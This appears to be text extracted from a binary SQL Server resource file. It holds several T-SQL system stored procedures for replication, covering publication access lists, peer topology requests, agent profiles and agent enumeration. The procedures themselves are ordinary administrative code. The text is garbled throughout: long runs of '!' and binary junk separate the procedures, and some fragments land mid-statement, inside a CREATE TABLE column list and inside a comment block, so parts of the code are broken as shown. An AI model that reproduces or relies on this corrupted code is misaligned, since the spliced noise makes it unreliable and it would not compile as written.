	convert(sysname, CASE WHEN u.schema_id <> 4
		THEN u.name END)							AS USER_DEFINED_TYPE_NAME,
	convert(sysname, null)					AS SCOPE_CATALOG,
	convert(sysname, null) collate catalog_default		AS SCOPE_SCHEMA,
	convert(sysname, null) collate catalog_default		AS SCOPE_NAME
FROM
	sys.objects o JOIN sys.parameters c ON c.object_id = o.object_id
	JOIN sys.types u ON u.user_type_id = c.user_type_id
WHERE
	o.type IN ('P','FN','TF', 'IF', 'IS', 'AF','PC', 'FS', 'FT')
0k F	8create procedure sys.sp_gettopologyinfo
(
	@request_id		int = NULL
)
as
begin

	declare @request_complete bit,
			@request_exists bit,
			@retcode		int

	exec @retcode = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0
	begin
		return 1
	end

	-- if no request_id is specified, get the most recent completed request
	if @request_id is NULL
	begin
		select @request_id = (select top 1 id
		 					from MSpeer_topologyrequest
		 					order by sent_date desc)

		 if @@error <> 0 or @request_id is NULL
		 begin
		 	return 1
		 end
	end
	-- otherwise, make sure that the specified request exists
	else
	begin
		select @request_exists = (select case when exists(select * 
											from MSpeer_topologyrequest
											where id = @request_id
											) then 0 else 1 end)

		if @@error <>0 or @request_exists <> 0
		begin
			return 1
		end
	end

	-- check to see if the request has been completed or not
	select @request_complete = (select case when exists(select * 
								from MSpeer_topologyresponse 
								where received_date is NULL
									and request_id = @request_id
								) then 1 else 0 end)

	-- format the xml nicely
	select * from
	(
		select 1 as Tag,
				NULL as Parent,
				sent_date as [TopologyInformation!1!RequestDate],
				NULL as [Publisher!2!!xmltext],
				NULL as [Publisher!2!ReceivedDate],
				NULL as [Publisher!2!Name],
				NULL as [Publisher!2!Database],
				NULL as [Publisher!2!Version],
				NULL as [Publisher!2!OriginatorId],
				NULL as [Publisher!2!ConflictRetention]
		from MSpeer_topologyrequest
		where id = @request_id
		union all
		select 2,1,
				sent_date,
				connection_info,
				received_date,
				peer,
				peer_db,
				cast(peer_version as nvarchar), -- cast(167773193 as nvarchar),
				cast(originator_id as nvarchar), -- cast(1 as nvarchar),
				cast(peer_conflict_retention as nvarchar) -- cast(60 as nvarchar)
		from MSpeer_topologyresponse join MSpeer_topologyrequest
			on id = request_id
		where id = @request_id
	) as universal_table
	order by [TopologyInformation!1!RequestDate],[Publisher!2!ReceivedDate],[Publisher!2!Name],[Publisher!2!Database]
	for xml explicit

	if @@error <>0
	begin
		return 1
	end

	if @request_complete <> 0
	begin
		return 2
	end
	
 	return 0
end
0+, 8CREATE PROCEDURE sys.sp_MSprofile_in_use 
(
    @tablename          nvarchar(255),
    @profile_id int
)
AS
begin
    DECLARE @usage_count int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    IF @tablename IS NULL OR @profile_id IS NULL
        return 1 ;

    IF @tablename = 'MSsnapshot_agents'
        SELECT @usage_count = count(*) FROM MSsnapshot_agents
        WHERE profile_id = @profile_id
    ELSE IF @tablename = 'MSlogreader_agents'
            SELECT @usage_count = count(*) FROM MSlogreader_agents
            WHERE profile_id = @profile_id
        ELSE IF @tablename = 'MSdistribution_agents'
                SELECT @usage_count = count(*) FROM MSdistribution_agents
                WHERE profile_id = @profile_id
            ELSE IF @tablename = 'MSmerge_agents'
                    SELECT @usage_count = count(*) FROM dbo.MSmerge_agents 
                    WHERE profile_id = @profile_id
                ELSE 
                    SELECT @usage_count = 0

    IF @usage_count = 0
        RETURN -1
    ELSE
        RETURN 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!1w1`[<mGEZ0 
8create procedure sys.sp_help_publication_access
(
    @publication    sysname,
    @return_granted    bit = 1,
    @login            sysname = N'%',
    @initial_list    bit = 0,
    @publisher        sysname = NULL
)
AS
BEGIN
    set nocount on
    -- This stored procedure can be called repeatedly.
    DECLARE @distribdb sysname
                ,@distproc  nvarchar (300)
                ,@retcode  int
                ,@dist_rpcname sysname
                ,@database  sysname
                ,@publisher_type sysname
                ,@loc_publisher sysname

    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    -- Set publisher name if not supplied
    SELECT @loc_publisher = case when (@publisher IS NULL) then publishingservername() else @publisher end

    -- Get publisher info
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher  = @loc_publisher,
                                                                      @rpcsrvname  = @dist_rpcname   OUTPUT,
                                                                      @distribdb  = @distribdb      OUTPUT,
                                                                      @publisher_type = @publisher_type OUTPUT
    IF @@error <> 0
    BEGIN
         RAISERROR (14071, 16, -1)
         return (1)
    END

    IF @retcode <> 0 OR @distribdb IS NULL OR @dist_rpcname IS NULL
    BEGIN
        RAISERROR (14071, 16, -1)
        return(1)
    END

    -- Restrict specification of publisher to HREPL only
    IF @publisher_type = N'MSSQLSERVER' AND @publisher IS NOT NULL
    BEGIN
        RAISERROR(21606, 16, -1, '@publisher', 'NULL')
        RETURN (1)
    END

    -- Set db context to distributor if HREPL
    SELECT @database = case when (@publisher_type = N'MSSQLSERVER') then db_name() else @distribdb end
                ,@distproc = QUOTENAME(RTRIM(@dist_rpcname)) + N'.' + QUOTENAME(RTRIM(@distribdb)) + N'.sys.sp_MSpublication_access'

    -- Do check existense when dropping since the login might be dropped
    -- outside replication already.
    -- Get logins in the PAL if needed
    if @initial_list = 0
    begin
        create table #granted (login sysname null)    

        insert into #granted
        EXEC @retcode = @distproc
                                    @publisher  = @loc_publisher,
                                    @publisher_db = @database,
                                    @publication = @publication,
                                    @operation  = N'help',
                                    @login   = @login

        IF @@error <> 0 OR @retcode <> 0
            return (1)
    end

    -- Get distributor valid logins if needed
    if @return_granted = 0 or @initial_list = 1
    begin
        create table #dist_logins(login sysname null)
        
        insert into #dist_logins
        EXEC @retcode = @distproc
                                        @publisher = @loc_publisher,
                                        @operation = N'get_logins'
    end

    if @initial_list = 1
    begin
        -- Get the initial list for the publication to be created
        -- by the current user
        -- It contains all the logins sysadmin group and the current user
        -- that have valid login at the distributor.
        select l.loginname, l.isntname, l.isntgroup
         from master.dbo.syslogins l, #dist_logins d where
            l.sid = suser_sid(d.login, 0) and
            l.hasaccess = 1 and
            (is_srvrolemember('sysadmin',d.login) = 1 or (l.sid = suser_sid())) 
    end
    else if @return_granted = 0
    begin
        -- resultset will have list of logins
        -- that are there on both distributor and publisher
        -- and that currently do not have access to publication
        -- and have publisher db access
        select l.loginname, l.isntname, l.isntgroup
        from master.dbo.syslogins l 
            join #dist_logins d 
                on l.sid = suser_sid(d.login, 0)
                    and l.hasaccess = 1
                    --
                    -- The login should not exist in PAL
                    --
                    and not exists (select *
                                    from #granted g 
                                    where suser_sid(g.login, 0) = l.sid )
                    --
                    -- The login should have a user mapping in current db
                    -- For sysadmins - there may not be a direct user mapping
                    --
                    and (l.sysadmin = 1
                            or exists (select * from dbo.sysusers u
                                        where u.sid = l.sid
                                            and u.hasdbaccess = 1))
    end
    else if @return_granted = 1
    begin
        select l.loginname, l.isntname, l.isntgroup from master.dbo.syslogins l,
            #granted g where
            l.sid = suser_sid(g.login, 0)
    end
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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    @type int,                                      -- agent type 
    @exclude_anonymous bit = 0,
    @check_user bit = 0
)
as
begin
    set nocount on
    declare  @retcode int
                ,@snapshot int
                ,@logreader int
                ,@distribution int
                ,@sproc sysname
                ,@db_name sysname
                ,@table_name sysname
                ,@cmd nvarchar(4000)
                ,@distbit int
                ,@merge int
                ,@misc int
                ,@qreader int
                ,@has_pm bit

    --
    -- initialize
    --
    select @retcode = 0
            ,@distbit = 16
            ,@snapshot = 1
            ,@logreader = 2
            ,@distribution = 3
            ,@merge = 4
            ,@misc = 5
            ,@qreader = 9
    --
    -- validate @type
    --
    if (@type not in (@snapshot,@logreader,@distribution,@merge,@misc,@qreader))
    begin
        return (1)
    end
    --
    -- more initialization based on agent type
    --
    select @table_name = case when (@type = @snapshot) then '#snapshot'
                                            when (@type = @logreader) then '#logreader'
                                            when (@type = @distribution) then '#distribution'
                                            when (@type = @merge) then '#merge'
                                            when (@type = @qreader) then '#qreader' end
            ,@sproc = case when (@type = @snapshot) then 'sp_MSenum_snapshot'
                                            when (@type = @logreader) then 'sp_MSenum_logreader'
                                            when (@type = @distribution) then 'sp_MSenum_distribution'
                                            when (@type = @merge) then 'sp_MSenum_merge'
                                            when (@type = @qreader) then 'sp_MSenum_qreader' end
    --
    -- For each distribution database collect meta 
    --
    declare #hCdatabase CURSOR LOCAL FAST_FORWARD FOR
        select name 
        from master.dbo.sysdatabases 
        where category & @distbit <> 0 
            and has_dbaccess(name) = 1
    for read only

    open #hCdatabase
    fetch next from #hCdatabase into @db_name
    while (@@fetch_status <> -1)
    begin
        --
        -- Check to see if the user has permision to monitor the distribution database.
        --
        select @cmd = quotename(@db_name) + '.sys.sp_executesql'
        exec @cmd
            N'if is_member(N''db_owner'') = 1 or isnull(is_member(N''replmonitor''),0) = 1 set @has_pm = 1', 
            N'@has_pm bit output',
            @has_pm output
        if @has_pm = 1
        begin
            --
            -- The current user has permission to access the metadata
            --
            if @check_user = 1
            begin
                --
                -- @check_user option enabled - no need to return agent metadata
                --
                select 'is_replmonitor' = 1
                return (0)
            end
            else
            begin
                --
                -- @check_user option disabled
                -- Process based on agent type
                --
                if @type = @misc
                begin
                    --
                    --Misc agent type - execute and return
                    --
                    exec @retcode = sys.sp_MSenum_misc_agents
                    return @retcode
                end
                else
                begin
                    --
                    -- Other agent type
                    -- Create temp table if necessary to cache the agent metadata
                    --
                    if object_id (N'tempdb..' + @table_name) is null
                    begin
                        --
                        -- initialize the temp tables
                        --
                        if @type = @snapshot
                        begin
                            create table #snapshot (dbname sysname collate database_default not null, name nvarchar(100) collate database_default not null, 
                                status int NOT NULL,
                                publisher sysname collate database_default not null, publisher_db sysname collate database_default not null, 
                                publication sysname collate database_default not null,
                                start_time nvarchar(24) collate database_default null, time nvarchar(24) collate database_default null, duration int NULL,
                                comments nvarchar(255) collate database_default null, delivered_transactions int NULL, 
                                delivered_commands int NULL, delivery_rate float NULL, error_id INT NULL,
                                job_id binary(16) NULL, local_job bit NULL, profile_id int NOT NULL, 
                                agent_id int NOT NULL, local_timestamp binary(8) NOT NULL,
                                dynamic_filter_login sysname NULL, dynamic_filter_hostname sysname NULL)

                            create unique clustered index ucsnapshot ON #snapshot (dbname, agent_id)
                        end
                        else if @type = @logreader
                        begin
                            create table #logreader (dbname sysname collate database_default not null, name nvarchar(100) collate database_default not null,  
                                status int NOT NULL,
                                publisher sysname collate database_default not null, publisher_db sysname collate database_default not null,
                                start_time nvarchar(24) collate database_default null, time nvarchar(24) collate database_default null, duration int NULL,
                                comments nvarchar(255) collate database_default null, delivery_time int NULL, 
                                delivered_transactions int NULL, delivered_commands int NULL, 
                                average_commands int NULL, delivery_rate int NULL, delivery_latency int NULL, 
                                error_id INT NULL, job_id binary(16) NULL, local_job bit NULL,
                                profile_id int NOT NULL, agent_id int NOT NULL, local_timestamp binary(8) NOT NULL)

                            create unique clustered index uclogreader ON #logreader (dbname, agent_id)
                        end
                        else if @type = @distribution
                        begin
                            create table #distribution (dbname sysname collate database_default not null, 
                                name nvarchar(100) collate database_default not null,  
                                status int NOT NULL,
                                publisher sysname collate database_default not null, publisher_db sysname collate database_default not null, 
                                publication sysname collate database_default null,
                                subscriber sysname collate database_default null, subscriber_db sysname collate database_default null, subscription_type int NULL,
                                start_time nvarchar(24) collate database_default null, time nvarchar(24) collate database_default null, duration int NULL,
                                comments nvarchar(4000) NULL, delivery_time int NULL, 
                                delivered_transactions int NULL, delivered_commands int NULL, 
                                average_commands int NULL, delivery_rate int NULL, 
                                delivery_latency int NULL, error_id INT NULL,
                                job_id binary(16) NULL, local_job bit NULL, profile_id int NOT NULL, 
                              !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
jy.Xo
J  agent_id int NOT NULL, local_timestamp binary(8) NOT NULL, 
                                offload_enabled bit NOT NULL, offload_server sysname collate database_default null,
                                subscriber_type tinyint NULL)

                            create unique clustered index ucdistribution ON #distribution (dbname, agent_id)
                        end
                        else if @type = @merge
                        begin
                            create table #merge (dbname sysname collate database_default not null, name nvarchar(100) collate database_default not null, 
                                status int NOT NULL,
                                publisher sysname collate database_default not null, publisher_db sysname collate database_default not null, publication sysname collate database_default null,
                                subscriber sysname collate database_default null, subscriber_db sysname collate database_default null, subscription_type int NULL,
                                start_time nvarchar(24) collate database_default null, time nvarchar(24) collate database_default null, duration int NULL, 
                                comments nvarchar(255) NULL, delivery_rate int NULL,
                                download_inserts int NULL, download_updates int NULL, download_deletes int NULL,
                                publisher_conficts int NULL, 
                                upload_inserts int NULL, upload_updates int NULL, upload_deletes int NULL,
                                subscriber_conficts int NULL, error_id int NULL, job_id binary(16) NULL,
                                local_job bit NULL, profile_id int NOT NULL, agent_id int NOT NULL, 
                                local_timestamp binary(8) NOT NULL, offload_enabled bit NOT NULL, 
                                offload_server sysname collate database_default null, subscriber_type tinyint NULL)

                            create unique clustered index ucmerge ON #merge (dbname, agent_id)
                        end
                        else if @type = @qreader
                        begin
                            create table #qreader (dbname sysname collate database_default not null, 
                                name nvarchar(100) collate database_default not null, status int NOT NULL,
                                start_time nvarchar(24) collate database_default null, time nvarchar(24) collate database_default null, duration int NULL,
                                comments nvarchar(255) collate database_default null, 
                                transactions_processed int NULL, commands_processed int NULL, 
                                average_commands int NULL, delivery_rate int NULL, delivery_latency int NULL,
                                error_id INT NULL, job_id binary(16) NULL, 
                                profile_id int NULL, agent_id int NOT NULL, local_timestamp binary(8) NOT NULL)

                            create unique clustered index ucqreader ON #qreader (dbname, agent_id)
                        end
                        --
                        -- Check for errors
                        --
                        if (@@error != 0)
                            return (1)
                    end -- if object_id( tempdb table ) is null
                    --
                    -- script the insert command to cache the agent metadata in temp table 
                    -- for this distribution database
                    --
                    select @cmd = 'insert into ' + @table_name +
                        ' exec ' + quotename(@db_name) + '.dbo.' + @sproc + ' @show_distdb = 1' 
                    --
                    -- for distribution and merge agents - add more parameters to command
                    --
                    if @type in (@distribution, @merge)
                        select @cmd = @cmd +
                            ', @exclude_anonymous = ' + cast(@exclude_anonymous as nvarchar(1))
                    --
                    -- execute the insert command
                    --
                    exec (@cmd)
                    --
                    -- Check errors
                    --
                    if (@@error != 0)
                        return (1)
                end -- other agent type
            end -- @check_user option disabled
        end -- if @has_pm = 1
        --
        -- fetch next distribution database to process
        --
        fetch next from #hCdatabase into @db_name
    end
    close #hCdatabase
    deallocate #hCdatabase
    --
    -- Don't return agents if in check user mode
    -- NOTE - is this codeblock necessary
    --
    if @check_user = 1
        return (0)
    --
    -- Process If the table exists
    --
    if object_id (N'tempdb..' + @table_name) is not null
    begin
        --
        -- All done - select all the metadata
        --
        select @cmd = N'select * from ' + @table_name + N' order by dbname asc, agent_id asc'
        exec (@cmd)
        --
        -- Drop the table
        --
        select @cmd = N'drop table ' + @table_name
        exec (@cmd)
    end
    --
    -- all done
    --
    return (0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(/}HvRcreate procedure sys.sp_grant_publication_access
(
    @publication    sysname,
    @login            sysname,
    @reserved       nvarchar(10) = NULL, -- 'init'
    @publisher      sysname = NULL
)
AS
BEGIN
    set nocount on

    -- This stored procedure can be called repeatedly.
    DECLARE @distribdb  sysname,
                @distproc  nvarchar (300),
                @retcode  int,
                @dist_rpcname sysname,
                @database  sysname,
                @publisher_type sysname,
                @loc_publisher sysname,
                @role    sysname,
                @pubid    uniqueidentifier,
                @pubidtran   int,
                @pubidstr   nvarchar(40),
                @user    sysname,
                @fmergepub   bit,
                @ftranpub   bit,
                @skip   bit,
                @login2   sysname,
                @login_id int,
                @sid varbinary(85),
                @db_name sysname,
                @isloginsysadmin int,
                @issqlpublisher bit,
                @version int,
                @versionyukon int,
                @initinfo nvarchar(max)
                
    -- Security Check
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
    
    -- Set publisher name if not supplied
    select @loc_publisher = case when (@publisher is null) then publishingservername() 
                                                else @publisher end

    -- Get publisher info
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo  @publisher  = @loc_publisher,
                                                      @rpcsrvname = @dist_rpcname OUTPUT,
                                                      @distribdb = @distribdb OUTPUT,
                                                      @publisher_type = @publisher_type OUTPUT,
                                                      @version = @version OUTPUT
    IF @@error <> 0
    BEGIN
         RAISERROR (14071, 16, -1)
         return (1)
    END

    IF @retcode <> 0 OR @distribdb IS NULL OR @dist_rpcname IS NULL
    BEGIN
        RAISERROR (14071, 16, -1)
        return(1)
    END

    -- Restrict specification of publisher to HREPL only
    select @issqlpublisher = case when (@publisher_type = N'MSSQLSERVER') then 1 else 0 end
    IF @issqlpublisher = 1 AND @publisher IS NOT NULL
    BEGIN
        RAISERROR(21606, 16, -1, '@publisher', 'NULL')
        RETURN (1)
    END
    --
    -- Use current context if @login is null
    -- NOTE: if the login is provisioned (no explicitly created 
    -- using CREATE LOGIN since it may be a member of GROUP) then 
    -- 1)suser_id(@login) will return NULL - the login does not 
    -- have any explicit entry in master.dbo.syslogins
    -- 2)suser_id() will map to login token information
    --
    if @login is null
    begin
        -- if the current user is a member of a NT group and
        -- NT group has access then is_srvrolemember()
        -- and suser_id() will not work properly unless they
        -- are invoked for current user
        select @login = suser_name()
                ,@isloginsysadmin = is_srvrolemember(N'sysadmin')
                ,@login_id = suser_id()
    end
    else
    begin
        select @isloginsysadmin = is_srvrolemember(N'sysadmin',@login)
                ,@login_id = suser_id(@login)
    end
    -- Initialize
    -- Set db context to distributor if HREPL
    select @database = case when (@issqlpublisher = 1) then db_name() else @distribdb end
            ,@sid = suser_sid(@login,0)
            ,@fmergepub = 0
            ,@ftranpub = 0
            ,@skip = case when (@reserved = N'init') then 1 else 0 end
            ,@versionyukon = 0x900048B
    --
    -- We should always have a valid SID for any kind of login (provisioned or not)
    -- If there is not valid SID then it is a bad login
    --
    if (@sid is null)
    begin
        raiserror(15007, 16, 1, @login)
        return (1)
    end
    -- Existance check of the publication will be done in sp_MSpublication_access
    -- Note, even if the login exists, it may or may not has access
    -- to the server (granted or denied). 
    if @skip = 0
    begin
        -- Check if this database is published
        IF sys.fn_MSrepl_ispublished(@database) != 1
        BEGIN
            -- The database is not published.
            RAISERROR (18757, 16, -1)
            RETURN 1
        END
        --
        -- Permission check for CONNECT SQL
        -- Skip this check when login_id is null
        --
        if @login_id is not null and
        (exists (select * from sys.server_permissions where
                    class = 100 and major_id = 0 and minor_id = 0 and type = 'COSQ' and
                        grantee_principal_id = @login_id and state = 'D') or
            not exists (select * from sys.server_permissions where
                    class = 100 and major_id = 0 and minor_id = 0 and type = 'COSQ' and
                        grantee_principal_id = @login_id and state in ('G','W')))
        begin
            raiserror(15007, 16, 2, @login)
            return (1)
        end

        -- Don't do the user check if sysadmin since sysadmin can enter
        -- the database as dbo.
        if @isloginsysadmin = 0 and
            not exists (select * from sys.database_principals u join sys.database_permissions p on u.principal_id = p.grantee_principal_id
                        where (u.sid = @sid or u.name = N'guest') and
                            p.class = 0 and p.major_id = 0 and p.minor_id = 0 and p.type = 'CO' and p.state in ('G','W') and
            not exists (select * from sys.database_permissions d where d.class = 0 and d.major_id = 0 and d.minor_id = 0 and
                        d.grantee_principal_id = p.grantee_principal_id and d.type = 'CO' and d.state = 'D'))
        begin
            raiserror(20619, 16, -1, @login, @database) 
            return (1)          
        end
    end
    --
    -- Get the publication id and see if what kind of publication it is
    --
    if object_id(N'dbo.sysmergepublications') is not NULL
    begin
        select @pubid = pubid from dbo.sysmergepublications where name = @publication and UPPER(publisher) = UPPER(@loc_publisher) and publisher_db = @database
        if (@pubid is not null)
            select @fmergepub = 1
    end
    if @fmergepub = 0 and object_id(N'dbo.syspublications') is not NULL
    begin
        if (@issqlpublisher = 1)
            select @pubidtran = pubid from dbo.syspublications where name = @publication
        else
            select @pubidtran = pubid from sys.fn_IHgetpubid(@publication, @loc_publisher, @publisher_type)
        if (@pubidtran is not null)
            select @ftranpub = 1
    end
    --
    -- publication should exist
    --
    if (@fmergepub = 0 and @ftranpub = 0)
    begin
        raiserror (20026, 16, -1, @publication)
        return (1)
    end
    --
    -- map the login to a user in the current db
    --
    select @user = name from sys.database_principals u where u.sid = @sid and
                    exists (select * from sys.database_permissions p where
                        p.class = 0 and p.major_id = 0 and p.minor_id = 0 and p.grantee_principal_id = u.principal_id and
                        p.type = 'CO' and p.state in ('G','W') and
                    not exists (select * from sys.database_permissions d where d.class = 0 and d.major_id = 0 and d.minor_id = 0 and
                        d.grantee_principal_id = p.grantee_principal_id and d.type = 'CO' and d.state = 'D'))
    if @user is NULL
    begin
        --
        -- The login is NON provisioned or
        -- no explicit user mapping was found.
        -- Find ways to get the user mapping
        -- 
        if @isloginsysadmin = 1
        begin
 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<f/*N8R           --
            -- the login is a NON provisioned sysadmin account
            -- the user mapping is known
            --
            select @user = N'dbo'
        end
        else if @login_id is null
        begin
            --
            -- NON provisioned non sysadmin account
            -- impersonate the login and get the current user
            -- there is no better way (server should have a better way)
            --
            select @distproc = N'EXECUTE AS LOGIN = N''' + REPLACE(@login, N'''', N'''''') + N''' '
                            + N'select @p1 = user_name() '
                            + N'REVERT '
            exec @retcode = sys.sp_executesql @stmt = @distproc
                                            ,@params = N'@p1 sysname OUTPUT'
                                            ,@p1 = @user OUTPUT
            if @@error <> 0
            begin
                --
                -- could impersonate the non provisioned login
                --
                raiserror(20624, 16, 2, @login, @database) 
                return(1)
            end
            --
            -- Now check if we have valid user
            --
            if @user is NULL
            begin
                --
                -- the non provisioned login has no user access in the current db
                --
                raiserror(20624, 16, 3, @login, @database) 
                return(1)
            end
        end -- if @login_id is null
        else
        begin
            --
            -- the provisioned login has no user access in the current db
            --
            raiserror(20624, 16, 1, @login, @database) 
            return (1)
        end
    end
    -- at this point we know that the login exists and has access to the publishing database
    -- Add role if this SP is not being called from sp_addpublication/sp_addmergepublication
    -- don't add role if 'init' because role cannot be added inside a transaction
    if (@skip = 0)
    begin
        if (@ftranpub = 1)
        begin
            -- Tran specific processing
            -- we will create just the role if needed
            -- and skip fixing the the role
            -- Role fixing should be explicitly done by calling sp_createtranpalrole
            exec @retcode = sys.sp_MSrepl_FixTranPALRole @pubidtran, @publication, @publisher_type, @loc_publisher, @role output
        end
        else
        begin
            -- Merge specific processing
            -- we will create just the role if needed
            -- Fix the database role which represents the users who have access to this publication
            exec @retcode = sys.sp_MSrepl_FixPALRole @pubid, @role output
        end
        if (@retcode<>0 or @@error <> 0)
            return 1
        --
        -- add the user for the given login to the PAL role
        -- we have to skip this in the 'init' stage because we may not have a role 
        -- explicitly call sp_grant_publication_access for any PAL user
        -- no need to add if system dbo user
        --
        if @user != N'dbo'
        begin
            exec @retcode = sys.sp_addrolemember @role, @user
            if (@retcode <> 0 or @@error <> 0)
                return 1
            exec @retcode = sys.sp_MSgrantconnectreplication @user
            if (@retcode <> 0 or @@error <> 0)
                return 1
        end
    end -- if (@skip = 0)
    --
    -- add login(s) to distributor
    --
    if (@skip = 1)
    begin
        --
        -- publication init processing
        -- choose all sysadmin logins + given login  and prepare a info string for init
        -- Skip logins that are not at the distributor without raising error during init
        --
        SELECT @distproc = QUOTENAME(RTRIM(@dist_rpcname)) + N'.' + QUOTENAME(RTRIM(@distribdb)) 
                        + case when (isnull(@version,0) < @versionyukon) then N'.sys.sp_MSpublication_access' 
                                    else N'.sys.sp_MSinit_publication_access' end
                    ,@initinfo = N''

        declare #hC CURSOR LOCAL FAST_FORWARD for
            select name from master.sys.syslogins 
            where hasaccess = 1 
                and (sid = @sid or sysadmin = 1)
        for read only

        open #hC
        fetch #hC into @login2
        while (@@fetch_status <> -1)
        begin
            if (isnull(@version,0) < @versionyukon)
            begin
                -- Pre-Yukon distributor
                -- Call RPC to add login
                EXEC @retcode = @distproc
                                @publisher  = @loc_publisher,
                                @publisher_db = @database,
                                @publication = @publication,
                                @login   = @login2,
                                @operation  = N'add',
                                @skip   = @skip
                IF @@error <> 0 OR @retcode <> 0
                return (1)
            end
            else
            begin
                -- Yukon or later version of distributor
                -- build initinfo
                select @initinfo = @initinfo + N'<item\>' + @login2 + N'</item\>'
            end
            fetch #hC into @login2
        end
        close #hC
        deallocate #hC
        --
        -- One RPC call to Yukon or recent distributor with login initinfo
        --
        if (@initinfo != N'')
        begin
            EXEC @retcode = @distproc
                            @publisher  = @loc_publisher,
                            @publisher_db = @database,
                            @publication = @publication,
                            @initinfo   = @initinfo,
                            @skip   = @skip
            IF @@error <> 0 OR @retcode <> 0
            return (1)
        end
    end
    else
    begin
        --
        -- choose given login for regular processing
        --
        SELECT @distproc = QUOTENAME(@dist_rpcname) + N'.' + QUOTENAME(@distribdb) 
                                        + N'.sys.sp_MSpublication_access'
        EXEC @retcode = @distproc
                        @publisher  = @loc_publisher,
                        @publisher_db = @database,
                        @publication = @publication,
                        @login   = @login,
                        @operation  = N'add',
                        @skip   = @skip
        IF @@error <> 0 OR @retcode <> 0
            return (1)
    end
    --
    -- all done
    --
    return 0
END
